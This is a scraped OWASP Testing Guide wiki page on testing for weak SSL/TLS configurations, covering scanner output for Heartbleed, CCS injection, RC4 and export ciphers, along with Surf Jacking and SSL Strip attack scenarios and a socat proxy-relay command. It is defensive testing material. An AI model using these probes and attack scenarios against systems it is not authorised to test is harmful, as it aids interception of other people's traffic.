0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[!] HTTP elements embedded in SSL page: PRESENT<br />
[!] Vulnerable to MITM malicious content injection attack<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- HTTP RESOURCES EMBEDDED ---------------<br />
- http://othersite/test.js<br />
- http://somesite/test.css<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
Robust Solution:<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...<br />
<br />
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES<br />
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 <br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No <br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 12 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
<br />
<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Configuration Review ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
==Tools==<br />
*[21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
*[38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]<br />
* [6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=183405Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-10-07T15:19:54Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Common Issues == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== How to Test ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
